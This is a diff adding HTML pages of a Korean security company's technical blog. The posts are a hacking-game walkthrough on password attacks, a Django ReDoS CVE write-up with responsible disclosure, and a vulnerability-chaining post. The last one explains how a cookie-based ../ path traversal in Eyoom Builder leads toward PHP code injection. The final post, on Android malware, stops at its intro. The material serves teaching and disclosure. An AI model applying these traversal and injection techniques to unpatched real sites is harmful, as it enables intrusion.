  • “NITE Team 4”는 미정부와 협력하에 Turbine C2 Platform을 운영중이다.
  • +
  • “Turbine C2 Platform”은 네트워크를 통해 다수의 implant를 관리하는 플랫폼이다.
  • +
  • Malware가 implant(설치)되면, 자동으로 Turbine C2 Card의 형태로 플랫픔/시스템에 등록된다.
  • +
  • 각각의 Turbine C2 Card는 관리되는 고유한 ID와 접근 권한 코드를 가지고 있다.
  • +
+ +

상황

+ +
    +
  • 4시간 전, BloodDove라는 멀웨어가 어떤 대상에 설치되어 식별되지 않은 ID를 통해 활성화된 것을 포착했다.
  • +
  • 이 멀웨어는 현재 “NITE Team 4”에서 진행되고 있는 작전들과 아무런 연관성이 없는 것으로 파악된다.
  • +
  • 따라서, 이 사건에 대하여 조사가 필요하다.
  • +
+ +

목표

+ +
    +
  • 미식별된 C2 card에 접근한다.
  • +
  • 공유 디렉토리를 식별하고 접근 권한을 획득한다.
  • +
  • BloodDove 멀웨어의 실제 위치를 파악한다.
  • +
+ +

Turbine C2 Platform

+ +

+
+ Turbine C2 Platform +

+ +

게임에서 Turbine C2 Platform을 통해 작전 대상 네트워크에 접근할 수 있습니다.

+ +

🔎 Command & Control (a.k.a C&C or C2)

+ +

+
+ C2 Diagram +

+ +

공격자는 C2 서버를 공격의 경유지로 사용하거나, 멀웨어로 감염된 디바이스들을 원격에서 관리하는 등의 역할을 수행합니다.

+ +

현실에는 Metasploit, CobaltStrike와 같은 상용 침투 테스팅 도구에 포함되어 있거나, 오픈소스의 형태로도 존재합니다.

+ +

Chapter 1, Workaround

+ +

+
+ Connected to OPERATION CASTLE IVY network. +

+ +

우선, 위와 같이 작전 대상 네트워크에 진입합니다.

+ +

+
+ netscan result +

+ +

Information Gathering Module -> WMI Scanner를 실행 후, netscan 명령을 입력하여 현재 네트워크에서 접근 가능한 WMI path를 확인합니다.

+ +

WMI path 중, /user/nlightman/c$가 존재하는 것을 알 수 있는데, 이 문자열을 통해 다음과 같은 사실을 추측할 수 있습니다:

+ +
    +
  • 사용자 ID가 nlightman이다.
  • +
  • c$C: 드라이브 오브젝트를 나타낸다.
  • +
+ +

따라서 해당 경로는 nlightman 사용자의 드라이브에 접근할 수 있는 WMI path일 가능성이 높습니다.

+ +

+
+ password attack 1 +

+ +

Network Intrusion -> Password Attack을 실행하고, 아까 확보한 경로와 아이디를 입력합니다.

+ +

+
+ password attack 2 +

+ +

여기서, John The Ripper 파라미터를 선택합니다.

+ +

+
+ password attack 3 +

+ +

+
+ password attack 4 +

+ +

위와 같이 성공적으로 패스워드 공격을 수행했습니다.

+ +

+
+ file browser connect 1 +

+ +

Data Forensic -> File Browser를 실행 후, 아까 확보한 경로를 입력하고 연결을 시도합니다.

+ +

+
+ file browser connect 2 +

+ +

Password Attack 단계에서 확보한 계정의 패스워드를 입력하여 대상의 파일에 접근할 수 있습니다.

+ +

+
+ file browser connect 3 +

+ +

최종적으로 BloodDove와 함께, 다른 수상한 멀웨어들도 발견했습니다.

+ +

이후에는 지시에 따라 uni74455.dll을 다운로드 받으면 임무가 완료됩니다.

+ +

🔎 WMI scanner

+ +

WMI는 Windows Management Instrumentation라는 뜻의 Windows OS 관리 시스템입니다.

+ +

공격자는 WMI를 통해 내부망에서 장악한 시스템템 원격지의 윈도우 시스템의 취약점과 노출 부분을 파악하고, 침투한 시스템에서부터 공격을 확장하는 등에 사용할 수 있습니다.

+ +

게임에서는 단순히 netscan을 이용하여 현재 네트워크에 공격 가능한 지점이 어디 있는지 파악하는 용도로 사용할 수 있습니다.

+ +

🔎 Bruteforce 공격

+ +

무작위 대입 공격이라고도 부르는 Bruteforce 공격은 어떤 암호, 인증 등을 통과하기 위해 가능한 모든 키를 사용하여 대입해보는 아주 무식한 공격 기법 중 하나입니다.

+ +

무식해 보이는 Bruteforce 공격 기법에도 몇가지 방법들이 있는데요, 말 그대로 모든 가능한 값을 대입하는 방식, 사전(Dictionary)의 데이터를 하나씩 대입하는 이 두가지 방식이 대표적입니다.

+ +

🔎 John The Ripper

+ +

John The Ripper는 유명한 오픈소스 패스워드 해킹 툴입니다 - 정확히는 패스워드의 해쉬를 해킹하여 패스워드 원문을 알아내는 도구입니다.

+ +

패스워드를 시스템에 저장 할 때는 악의적인 의도를 가진 시스템 관리자, 개발자 또는 어떤 해킹이나 유출 사건으로부터 패스워드 원문을 보호하기 위해 해쉬 함수를 이용하여 고정된 길이의 (랜덤하게 보이는) 데이터로 변환시킵니다.

+ +

John The Ripper는 이 해쉬 함수를 통해 생성된 해쉬로부터 원문의 패스워드를 알아내도록 도와주는 도구입니다.

+ +

게임에서는 네트워크 서비스의 어떤 ID에 대응하는 패스워드를 bruteforce로 알아내기 위해 사용되는 사전(Dictionary)의 종류로 등장합니다.

+ +

🔎 rockyou.txt

+ +

RockYou라는 IT 서비스 업체가 해킹 공격을 당해 그 고객들의 패스워드가 원문으로 노출된 적 있습니다.

+ +

RockYou는 고객들의 패스워드를 원문(plain-text) 형태로 저장하여 그들의 시스템에서 사용하였으며, 이것이 유출된 것입니다.

+ +

총 3200만개 가량의 패스워드가 유출 되었으며, 공격자들은 이 데이터셋을 bruteforcing 공격에 종종 이용하고는 합니다.

+ +

Closing

+ +

“NITE Team 4”를 통해 해킹의 가장 기본적인 도구와 개념들에 대해 알아볼 수 있었습니다.

+ +

Chapter 2에서는 XKeyScore, Phone CID Backdoor와 같은 복잡하고 높은 기술력을 필요로하는 도구들에 대해 설명드릴 예정입니다. 특히 XKeyScore의 경우, 실제로 NSA에서 사용하던 감시체계의 이름이기도 합니다.

+ +

혹시 “NITE Team 4”를 이미 플레이 해 보신 분은 TryHackMe, HackTheBox와 같은 플랫폼에서 실전 해킹을 탐구하고 연습 해 보셔도 좋겠네요.

+ +

이 포스팅은 시리즈로 이어집니다! 여러분의 많은 관심 부탁드립니다 :)

+ + +
+
+
+ +
+
+
김도현
+
dhkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2023-07-03/django-cve-2023-36053.html b/docs/2023-07-03/django-cve-2023-36053.html new file mode 100644 index 0000000..08dd204 --- /dev/null +++ b/docs/2023-07-03/django-cve-2023-36053.html @@ -0,0 +1,316 @@ + + + + + + + + + + +Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + +Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator
+
+
+ + Seokchan Yoon +
+
Jul 3, 2023
+
+
+
+
+
+


+
+ 목차 +
+
+ 1. Introduction +
+
+ 2. Core Engine 분석 +
+
+ 3. 1-day 버그케이스 분석 +
+
+ 4. 시나리오 기획 +
+
+ 5. 분석 +
+
+ 6. 제보 +
+
+ 7. 마무리 +
+


+ +

안녕하세요. 스틸리언 선제대응팀 연구원 윤석찬입니다. 이전에는 R&D팀으로 인사드렸었는데, 부서 개편 후 처음으로 선제대응팀으로 인사드리게 되었습니다. 스틸리언 선제대응팀에서는 Offensive Security를 연구하며 유의미한 가치를 도출하기 위해 노력하고 있습니다.

+ +

__

+

1. Introduction

+ +

2023년 7월 3일, 제 첫 CVE가 공개되었습니다.

+ + + +

위 링크에서 제 취약점이 어떤 내용인지 간략히 확인하실 수 있습니다. 이 글에서는 제가 이 취약점을 어떻게 찾게 되었는지 생각의 흐름을 공유하고, (제가 대단한 실력자도 아니고 파급도 높은 취약점을 찾은 것도 아니지만 😅) Offensive Security Researcher로서 어떤 마음가짐을 갖고 코드를 보면 좋을지 저만의 생각을 공유하고자 합니다. 이번 글은 코드 분석 위주의 글보다는 그냥 말로 취약점의 root cause와 제 생각들을 써보았습니다.

+ +

image1

+

Django security releases issued: 4.2.3, 4.1.10, and 3.2.20 (reported by ME!)

+ +

__

+

2. Core Engine 분석

+ +

Offensive Research를 하시는 분들이라면 다들 공감하시겠지만 어떤 소프트웨어를 분석하기 위해선 코어 엔진(주요 부분)을 먼저 분석할 필요가 있습니다. 제가 생각하는 Django의 주요 기능은 아래와 같았습니다.

+ +
    +
  • Django의 Core 서비스를 로드하는 기능
  • +
  • HTTP Request/Response를 파싱해서 Object에 매핑하는 부분
  • +
  • HTTP 상에서 session을 유지시키는 부분
  • +
  • 파일 송신을 처리하는 부분
  • +
  • Django ORM을 통해 SQL 쿼리를 생성하는 부분
  • +
+ +

그래서 Django의 전반적인 구조를 분석하고자 위 항목들을 중점적으로 분석하기 시작했습니다.

+ +

__

+

3. 1-day 버그케이스 분석

+ +

주요 기능을 분석한 뒤에는 전반적인 프로그램의 구조가 어느 정도 눈에 익기 시작했습니다. 이후 제가 이해한 프로그램 구조를 기반으로 그동안 공개된 1-day vulnerabilities를 찾아보았습니다. 작년에는 특히 ORM Injection (ORM 기능에서의 SQL Injection 취약점)이 3건이나 발생된 만큼 Django에서 SQL Injection을 찾아보고자, 지금까지 Django에 report된 모든 SQL Injection 1-day 버그케이스를 분석했습니다.

+ +

아래 링크에서 Django ORM Injection에 대해 분석한 내용을 확인하실 수 있습니다.

+ + +

SQL Injection 류의 버그를 찾고자 노력했지만 더 이상의 SQL Injection 취약점을 발견할 수 없었습니다. 😓 +이후 학업과 회사 업무를 병행하면서 Django 보안 취약점 연구에 크게 시간을 쏟지 못하다가, 군입대로 인한 휴직 전 얻은 여유시간에 Django를 다시 분석하기 시작했고 우연히 보안 취약점을 찾게 되었습니다.

+ +

제가 이번에 제보한 취약점은 아래 1-day vulnerability (CVE-2023-23969)와 다소 비슷합니다.

+ + +

요약하면, 이 버그 케이스는 복잡한 정규표현식이 매우 큰 문자열을 처리해야 하는 상황에서 DoS 공격에 취약할 수 있다는 점을 지적하고 있습니다. 각 언어마다 정규표현식을 구현하는 방식은 더 복잡하겠지만, 기본적으로 정규표현식의 검색은 처음부터 끝까지 모든 문자열을 검색해야 한다는 점에서 선형 검색(Linear Search)과 비슷한 양상을 띤다고 볼 수 있습니다. 따라서 정규표현식에 거대한 양의 텍스트가 regex 검사 인자로 입력된다면 상당한 컴퓨팅 자원이 소모될 수 밖에 없으며, 정규표현식의 이러한 점을 노리는 공격이 바로 ReDoS attack입니다.

+ +

CVE-2023-23969 (Potential denial-of-service via Accept-Language headers) 취약점은 Django에 내부적으로 구현된 get_language_from_request() 함수에서 발생합니다. 이 함수는 이용자의 HTTP Request 패킷으로부터 Accept-Language 헤더를 가져와 이용자의 언어 환경 값을 가져오는데, 이때 Accept-Language 헤더를 파싱하기 전 길이 제한이 없어서 ReDoS에 취약했습니다.

+ +

위 취약점에 대한 자세한 설명을 보시려면 제 개인블로그 글을 참고해주시길 바랍니다. 애드블럭을 끄고 방문해주시길 바랍니다. (농담임 😉)

+ + +

__

+

4. 시나리오 기획

+ +

작년 SQL Injection류의 취약점을 찾고자 소스코드를 분석할 때는 시나리오를 생각하지 않고, 무작정 코드만 보다가 빠르게 지쳐버린 경험이 있었습니다. 그래서 이번에는 원데이 취약점을 분석하고나서 시나리오가 생각날 때만 소스코드를 들여다보기 시작했습니다. 문득 머릿속에 떠오른 시나리오를 평소 사용하는 노트 앱에 기록해두고 시간적으로 여유가 날 때마다 기록해 둔 시나리오와, 이와 비슷한 시나리오들이 가능한지 분석했고, 이 방식으로 분석의 능률이 크게 향상되었던 것 같습니다. (이런 방법론은 해커마다 개인차가 있는 부분이기 때문에 제 방식은 그냥 참고 정도만 해주시길 바랍니다.)

+ +

제가 이번에 발견한 CVE-2023-36053 취약점도 버그케이스를 분석하고 시나리오를 생각하는 과정에서 발견한 취약점입니다.

+ +

CVE-2023-23969를 분석하면서 위와 같은 ReDoS 취약점이 여럿 있을 것 같다는 생각이 들었습니다. 그래서 이러한 시나리오를 갖고 Django에서 사용되는 모든 정규표현식 문자열을 모두 찾아 ReDoS로부터 안전한지 분석해보았습니다. 저는 CVE-2023-23969 취약점이 어떻게 패치되었는지, 그리고 제가 지금까지 Django Security 팀에 보낸 Security Report들을 통해 취약점으로 인정받으려면 어떤 항목을 만족시켜야 하는지 생각해보았습니다.

+ +
    +
  • +, *, {0,n} 등의 정규표현식 notation이 중복적으로 나타나 finite automata 상 반복이 많이 발생하는 경우
  • +
  • 위 정규표현식을 사용할 때 길이 검증이 선행되지 않은 경우
  • +
  • 이용자가 송부한 값이 그대로 해당 함수에 인자로 들어갈 개연성이 높은 경우
  • +
+ +

__

+

5. 분석

+ +

앞서 기획한 시나리오 대로 검증하는 과정에서 2건의 취약점을 발견할 수 있었습니다. EmailValidator를 예로 들어 이 취약점이 어떻게 발생되는지 설명하도록 하겠습니다.

+ +

EmailValidatordjango.core.validators 에 존재하는 Validator 클래스로 사용자로부터 입력받은 문자열이 이메일 형식을 만족하는지 확인합니다.

+ +
# django/core/validators.py
+
+@deconstructible
+class EmailValidator:
+    # ...
+    domain_regex = _lazy_re_compile(
+        # max length for domain name labels is 63 characters per RFC 1034
+        r"((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)(?:[A-Z0-9-]{2,63}(?<!-))\Z",
+        re.IGNORECASE,
+    )
+    # ...
+
+ +

이 Validator에서는 domain_regex 라는 내부 변수로 도메인의 유효성을 검사하기 위한 정규식을 저장합니다. 이 내부 변수는 이메일의 도메인을 검사하기 위해 사용됩니다. 이 정규표현식 문자열은 {0,61}+ notation을 중첩하여 사용하기 때문에, 매우 큰 크기의 문자열을 검사하게 될 여지가 있습니다.

+ +

그렇지만 만약 이 정규표현식 문자열로 특정 입력을 검사하기 전 길이 검증 로직을 두어 매우 큰 크기의 문자열이 정규표현식 검사의 인자로 들어가지 못하도록 막는다면 사실상 ReDoS를 트리거하기 어려워집니다. 제 개인 노트북(Apple Macbook Pro 13” / M2, 16GB)으로 테스트해본 결과 Email Validator의 경우 1MB 이상의 문자열이 인자로 들어가야 정규표현식 연산 과정에서 100ms 이상의 유의미한 시간 지연이 발생했기 때문입니다.

+ +

따라서 적절한 길이 검증 로직이 존재했었다면 ReDoS 공격에서 안전하다고 볼 수 있겠지만, 이번 취약점의 타겟인 EmailValidatorURLValidator에는 정규식 검사 이전 적절한 검사 코드가 부재하여 ReDoS 공격에 취약했다고 볼 수 있겠습니다. 이메일 주소와 URL 주소 모두 RFC 상으로 규격화된 형식이 있기 때문에, ReDoS 공격도 막을 겸 길이 검증 로직이 추가되면 충분히 ReDoS 공격도 막을 수 있었습니다.

+ +

__

+

6. 제보

+ +

대부분의 대형 오픈소스 프로젝트나 소프트웨어는 Security Policy를 갖고 있습니다. Django의 경우에는 아래 링크에서 관련 정보를 확인할 수 있었습니다.

+ +
+

https://docs.djangoproject.com/en/dev/internals/security/

+
+ +

총 2건의 취약점을 찾은 후, Django Security Team에 이메일로 Security Report를 보냈고 이후 약 2주 정도의 시간이 지나 CVE 넘버를 할당받을 수 있었습니다. 👏👏 이 과정에서 Django Security Team은 취약점 접수부터 패치, 피드백까지 아주 프로페셔널한 팀이구나 느꼈습니다.

+ +

__

+

7. 마무리

+ +

지금까지 제가 Django에 대해 취약점을 분석한 과정과 Security Report를 보내고 CVE 코드를 할당받기까지의 과정을 작성해보았습니다. 제게 큰 용기와 동기부여를 주셨던 예랑님과 상호님, 그리고 스틸리언 R&D팀 식구들에게 대단히 감사드립니다. 🙇‍♂️

+ +
+
+
+ +
+
+
Seokchan Yoon
+
scyoon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html b/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html new file mode 100644 index 0000000..5d9e936 --- /dev/null +++ b/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html @@ -0,0 +1,373 @@ + + + + + + + + + + +버그헌팅: 취약점 체이닝의 중요성 + +버그헌팅: 취약점 체이닝의 중요성 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
버그헌팅: 취약점 체이닝의 중요성
+
+
+ + Donggyu Kim +
+
Jul 31, 2023
+
+
+
+
+
+

버그헌팅: 취약점 체이닝의 중요성

+

No impact, No bug

+ +

CVSS3.1

+ +

버그헌팅에서는 이 취약점으로 어떤 악의적인 행위를 할 수 있는지 증명해야 합니다. +대부분의 기업이나 기관들이 CVSS 점수를 이용해 취약점에 대한 평가를 하기 때문에 취약점을 악용할 수 있는 창의적인 아이디어를 생각해내어 시나리오를 만들어야 합니다.

+ +

아무런 생각 없이 단일 취약점을 제보하면, 자칫 많은 시간을 들여 찾은 취약점이 낮은 평가를 받을 수도 있습니다. +그렇다 보니 자연스럽게 버그헌터들은 추후 발견될 취약점과의 연계를 위해 낮은 영향도(impact)의 취약점을 저장해둡니다. 그리고 더 높은 영향력을 가진 시나리오를 만들 수 있게 되면 제보합니다.

+ +

이런 방식을 다른 취약점과의 연계, 즉 취약점 체이닝이라고 말합니다.

+ +

Vulnerability Chaining

+ +
+

취약점 체이닝이란, 두 개 이상의 취약점을 연결하여 상대적으로 중요하지 않은 보안 이슈들을 결합해 강력한 공격 시나리오를 구축하는 방법

+ +
+ +

취약점 체이닝은 분석 대상에 대한 깊은 이해를 필요로 합니다. 아무래도 한 가지 취약점이 아닌 여러 취약점을 찾아야 함도 있고, 특히 취약점은 아니지만 서비스 상의 정상적인 기능을 이용해서도 취약점과의 연계가 이루어질 수 있기 때문입니다. 때문에 단순히 취약점 뿐만 아니라 기능에 대한 세부적인 분석도 필요하게 됩니다.

+ +

취약점 체이닝 방법론 요약

+ +
    +
  1. 시스템 이해 : 시스템이 어떻게 작동하는지 전반적으로 이해하는 것이 중요
  2. +
  3. 세부적인 분석 : 개별 취약점을 식별하고 이해하는 것이 중요
  4. +
  5. 시나리오 구축 : 실제 공격 시나리오를 구축하고 시뮬레이션 필요
  6. +
+ +

취약점 체이닝에 대한 좋은 예시로 국내 CMS를 대상으로 한 취약점 하나를 예로 들어보겠습니다. 해당 취약점은 이윰빌더에서 경로 조작을 통한 LFI(Local File Inclusion)가 가능해 발생하는 RCE(Remote Code Execution) 취약점입니다.

+ +

자세한 정보는 KISA의 보안 취약점 정보 포털의 국내 취약점 정보 페이지에 방문하시면 확인하실 수 있습니다. (https://knvd.krcert.or.kr/detailDos.do?IDX=5789)

+ +

CVE-2022-41158 | 이윰빌더 원격 코드 실행 취약점

+ + + + + + + + + + + + + + + + + + + + + + +
취약점 종류영향심각도CVSS 점수제품영향 받는 버전
LFI (Local File Inclusion)원격 코드 실행High7.2이윰빌더4.5.3 및 이전 버전
+ +

취약점 설명 : 이윰빌더가 쿠키 값을 파일의 경로에 사용하는 것을 이용하여 원격 코드 실행이 가능한 취약점

+ +

이윰빌더 개요

+ +

이윰빌더는 그누보드5(영카트5)를 프레임워크로 사용한 회원가입, 게시판, 쇼핑몰 결제 등의 기능을 제공하는 국내 CMS 중 하나입니다.

+ +

[https://eyoom.net/page/eb4_introduction](https://eyoom.net/page/eb4_introduction)

+ +

LFI Patch Analysis

+ +
    +
  • 이윰빌더 변경 파일 소스 보기(Github)
  • +
+ +

[https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042](https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042) +https://github.com/eyoom/eyoom_builder_4/commit/4fa8436cf2691dae5064d7c187ffa90327d41042

+ +

4.5.4 버전 이상에서는 위와 같이 $unique_theme_id 변수 값에 숫자만 입력 값으로 들어갈 수 있도록 정규식 필터링이 걸렸습니다.

+ +

다시 말해 4.5.3 이하 버전에서는 $unique_theme_id 변수의 값에 ../ 와 같은 파일의 경로를 조작할 수 있는 문자열이 들어갈 수 있다는 말과도 같습니다. 어떻게 그것이 가능한지 확인해보겠습니다.

+ +

아래 코드는 git commit에서 보았던 eyoom/class/theme.class.php 파일 내용 중 취약한 코드입니다.

+ +
/**
+ * 유니크 아이디 쿠키 생성
+ */
+if (get_cookie('unique_theme_id')) {
+    $unique_theme_id = get_cookie('unique_theme_id');
+} else {
+    $unique_theme_id = date('YmdHis', time()) . str_pad((int)(microtime()*100), 2, "0", STR_PAD_LEFT);
+    set_cookie('unique_theme_id',$unique_theme_id,3600);
+}
+
+$file = $this->tmp_path . '/' . $_SERVER['REMOTE_ADDR'] . '.' . $unique_theme_id . '.php';
+if (file_exists($file)) {
+    include_once($file);
+    if ($is_shop_theme) {
+        $arr['theme']       = $user_config['theme'];
+    } else {
+        $arr['shop_theme']  = $user_config['shop_theme'];
+    }
+}
+$_config = $arr;
+
+/**
+ * 파일 생성 및 갱신
+ */
+parent::save_file('user_config', $file, $_config);
+
+ +

쿠키 값으로부터 $unique_theme_id 값을 받아오고, 다시 그 값은 $file 변수에 $unique_theme_id.php 라는 확장자가 더해져 특정 파일의 경로가 삽입됩니다.

+ +

그리고 바로 아래 줄에서 만약 해당 경로에 파일이 존재한다면, include_once($file) 에서 파일이 include 됩니다.

+ +

만약 공격자가 특정 경로에 php 파일을 생성하거나 이미 존재하는 PHP 파일에 임의 명령어를 삽입할 수 있다면, 이 LFI 취약점을 이용해 그 PHP 파일을 불러와 임의 명령어를 실행할 수 있는 RCE 취약점으로 연계할 수 있을 것입니다.

+ +

하지만 실제로는 file_exists 함수에서는 존재하지 않은 디렉터리의 상위경로에 접근할 수 없습니다. ex) not_exists_directory/../../index.php (X)

+ +

만약 이윰빌더에 대한 이해가 부족하다면, 위 취약점에서 어떻게 LFI로 연계하고 RCE 취약점까지 트러기할 수 있는지 발견해내기 쉽지 않을 것입니다.

+ +

$file 변수의 값이 결국 하단의 save_file 함수에 들어가게 되는데, save_file 함수의 내용을 보면 PHP 파일의 내용으로 들어가게 되는 값들은 사용자가 직접 조작할 수 없어 보입니다.

+ +

다만, $unique_theme_id 값에 ../와 같은 문자열이 들어왔을 때 fopen 함수에서 상위 경로에 파일이 쓰여질 수 있다는 사실을 알 수 있습니다.

+ +
/**
+ * 배열을 지정한 파일로 저장 - 폴더에 웹서버의 쓰기 권한이 있어야 함
+ */
+public function save_file($outvar, $filename, $info=array(), $int=false) {
+    $fp = @fopen($filename, 'w');
+    $contents  = "<?php\n";
+    $contents .= "if (!defined('_EYOOM_')) exit;\n";
+    $contents .= "\$" . $outvar . " = array(\n";
+    if ($info != NULL) {
+        foreach ($info as $key => $value) {
+            if (!is_array($value)) {
+                // 키값으로 정수를 허용하지 않는다면
+                if (!$int) {
+                    if (!is_int($key)) {
+                        $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
+                    }
+                } else $contents .= "\t\"" . $key . "\" => \"" . addslashes($value) . "\",\n";
+            } else {
+                $arr = '';
+                foreach ($value as $k => $v) {
+                    if (!$int) {
+                        if (!is_int($key)) {
+                            $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
+                        }
+                    } else $arr .= "\"" . $k . "\" => \"" . addslashes($v) . "\",";
+                }
+                if ($arr) {
+                    $arr = substr($arr,0,-1);
+                    $contents .= "\t\"" . $key . "\" => array(" . $arr . "),\n";
+                }
+            }
+        }
+    }
+
+    $contents .= ");\n";
+    @fwrite($fp, $contents);
+    @fclose($fp);
+    @chmod($filename, 0644);
+}
+
+ +

또 코드를 보시면 $value 값은 모두 addslashes() 함수로 필터링 되고 있습니다. 그리고 $key 값은 save_file() 함수 호출 전의 값을 확인해보시면 알 수 있는 것으로, 이윰빌더의 설정 값($arr['theme'])에 해당합니다. 이 값은 사용자 측에서 조작할 수 없는 값입니다.

+ +

때문에 위에서 본 코드 만으로는 임의 파일 작성 취약점을 LFI와 RCE 취약점으로 연계할 수 없다는 결론이 나옵니다.

+ +

만약 여러분이더라도 여기서 포기하기에는 너무 아쉽겠죠. 사실상 위 취약점만으로는 악성 시나리오를 제작하기에는 파급력이 많이 낮습니다. 어떤 곳에서는 단순히 가능성만 제시하여도 Potential 취약점으로 취급해주기도 합니다. 하지만 실질적인 시나리오를 제시하는 것이 제보자 뿐만 아니라 제보 받는 사람 입장에서도 취약점에 대한 심각도를 확실히 이해하고 문제의 시급함을 느낄 수 있습니다.

+ +

Finding Arbitrary Code Injection

+ +

저희는 save_file() 함수에서 php 파일을 작성하고 있음을 알 수 있었습니다. 위에서 보았던 코드에서는 이윰빌더의 설정 값을 받아서 작성하고 있다고 하지만, 다른 곳에서는 사용자로부터 입력 값을 받아서 작성하는 곳이 있지 않을까요?

+ +

그 질문에 대한 답을 찾는 쉬운 방법이 있습니다. 바로 Visual Studio Code에서 Go to References 기능을 이용할 수 있습니다.

+ +

VSCode

+ +

보시다시피 우측의 수많은 파일에서 save_file() 함수를 사용하고 있습니다. 이 파일들 중에서 하나쯤은 사용자로부터 받은 입력(user input, cookies, 등)으로부터 값을 받아 파일을 작성하고 있지 않을까요? 어떤 파일에서 그렇게 처리하고 있는지는 스포(?)하지 않겠습니다. (개인 사유로 취약점에 대한 자세한 설명은 내년에 자세히 하게 될 것 같습니다.)

+ +

위에서 살펴본 save_file() 함수를 다시 면밀히 살펴보면, $value 값은 addslashes() 함수로 필터링하고 있지만, $key 값은 필터링하고 있지 않습니다. 이 점 또한 중요한 포인트입니다. 만약 사용자가 $key 값을 조작할 수 있다면, 원하는 내용의 스크립트를 php 파일에 삽입할 수 있게 됩니다.

+ +

Conclusion

+ +

지금까지 버그헌팅에서의 취약점 체이닝의 중요성에 대해 설명해보았습니다. 그리고 그 예시로 국내 오픈소스 CMS 중 하나인 이윰빌더에 대해서도 말씀드려보았습니다. 비록 취약점에 대한 자세한 설명은 드리지 않았지만, 그 이후의 과정보다는 취약점을 체이닝해나가는 그 과정 자체가 더욱 중요한 것 같습니다.

+ +

버그헌팅 뿐만 아니라 모의해킹 업무를 하면서도 많이 느끼곤 합니다. 고객사에 단일 취약점을 설명하는 것보다는 하나 또는 두 개 이상의 시나리오와 연계하여 취약점에 대한 파급력을 설명하는 경우가 당사자 간의 취약점의 위험성과 조치에 대한 시급함을 명확하게 설명할 수 있는 것 같습니다.

+ +

다만 취약점 체이닝은 보통 시스템에 대한 깊은 이해가 필요하므로 많은 시간을 투자해야 하곤 합니다. 이 때문에 제한된 시간 내에 취약점을 찾아야 하는 모의해킹보다는 비교적 시간 제한이 없는 편인 버그헌팅에 많이 활용되는 것 같기도 합니다.

+ + + +

저는 최근 파스텔플래닛(pastelplanet)에서 만든 zerowhale이라는 플랫폼에서 버그헌팅을 하곤 합니다. 이 플랫폼은 비교적 외부에 잘 알려져 있지는 않지만, 버그헌터들 사이에서는 프라이빗 버그바운티를 위주로 진행되곤 합니다. 프라이빗은 말그대로 신뢰 가능한 몇몇 버그헌터들만 초대하여 비밀 유지 서약을 맺고 특정 제품 또는 웹사이트 대상으로 버그헌팅을 수행하는 프로그램입니다.

+ +

다른 플랫폼들도 많지만 개인적으로 저는 버그헌팅 기간이 길고 충분한 분석을 요구하고 무엇보다 보상이 좋은 곳을 선택하게 되는 것 같습니다.

+ +

이상으로 글을 마무리하겠습니다!

+ +

Specially thanks to 이진성 님.

+ +
+
+
+ +
+
+
Donggyu Kim
+
dgkim@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git "a/docs/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" "b/docs/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" new file mode 100644 index 0000000..943b4ae --- /dev/null +++ "b/docs/2023-11-15/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" @@ -0,0 +1,782 @@ + + + + + + + + + + +Android Malware : 사마귀 해부학 + +Android Malware : 사마귀 해부학 | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Android Malware : 사마귀 해부학
+
+
+ + Hyerim Jeon +
+
Nov 15, 2023
+
+
+
+
+
+

Android Malware : 사마귀 해부학

+ +


+ +

목차
+—————————————

+
    +
  1. Intro
  2. +
  3. Roaming Mantis?
  4. +
  5. Analysis +
      +
    1. Download & Install
    2. +
    3. Dynamic Dex Loading
    4. +
    5. Behavior Analysis
    6. +
    +
  6. +
  7. Outro
  8. +
+ +


+ +

1. Intro

+ +

19.png

+ +

이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.

+ +

